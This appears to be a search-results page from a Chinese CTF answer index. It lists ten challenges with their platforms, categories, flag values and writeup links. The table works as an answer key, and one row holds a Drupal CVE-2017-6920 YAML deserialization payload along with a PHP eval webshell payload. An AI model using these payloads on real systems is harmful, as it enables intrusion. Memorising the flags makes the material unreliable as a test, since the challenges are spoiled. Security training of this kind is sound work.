[标题搜索]只能搜索题目标题，[综合搜索]支持多关键词多项目搜索（以空格分隔）。
| 序号 | Website | Type | Title | Value | Writeup | Competition | Id |
|---|---|---|---|---|---|---|---|
| 1 | bugku | PWN | EzWinner | 6c4b761a28b734fe93831e3fb400ce87 | https://jishuzhan.net/article/1893948... | SecurinetsChristmasCTF2022 | 1980 |
| 2 | BUUCTF | Pwn | [BSidesCF 2019]Slowfire | 无 | https://blog.csdn.net/weixin_52640415... | BSidesCF 2019 | 6038 |
| 3 | BUUCTF | Reverse | [BSidesCF 2019]Opendoor | flag{bbc0ff54-a162-4d27-a1db-2e02a3bb9208} | https://south66666666.github.io/2023/... | BSidesCF 2019 | 6032 |
| 4 | NSSCTF | PWN | [HGAME 2022 week3]sized note | 无 | https://blog.csdn.net/2401_88087539/a... | HGAME | 13916 |
| 5 | BUUCTF | Crypto | [NewStarCTF 2023 公开赛道]PseudoHell_EASY | flag{PseudoHell_f0r_3v3ryon3_e4sy2f4k3} | https://blog.csdn.net/weixin_52640415... | NewStarCTF 2023 公开赛道 | 7114 |
| 6 | 春秋云境 | WEB | CVE-2017-6920 | Drupal版本小于8.3.4时，可通过在后台配置导入处提交YAML反序列化Payload实现远程代码执行。典型的验证Payload为：!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"，导入后执行phpinfo函数即证明漏洞存在 1。在CTF题目中，常利用该反序列化链写入Webshell，例如使用自定义类：!php/object O:3:"log":2:{s:8:"filename";s:5:"1.php";s:7:"content";s:24:"<?php eval($_POST [1](@ref));?>";}。 | https://www.cnblogs.com/J1eula/p/1769... | 春秋云境 | 14748 |
| 7 | BUUCTF | Web | [2021DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th]jspxcms | 无 | https://cloud.tencent.com/developer/a... | 2021DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th | 5785 |
| 8 | NSSCTF | MISC | [WUSTCTF 2020]girlfriend | flag{youaremygirlfriends} | https://cloud.tencent.com/developer/a... | WUSTCTF | 11828 |
| 9 | BUUCTF | Pwn | bjdctf_2020_babystack2 | 题目的答案 | https://blog.csdn.net/qq_33348179/art... | - | 8099 |
| 10 | XCTF | Crypto | cr4-poor-rsa | ALEXCTF{SMALL_PRIMES_ARE_BAD} | https://blog.csdn.net/l8947943/articl... | CTF | 9531 |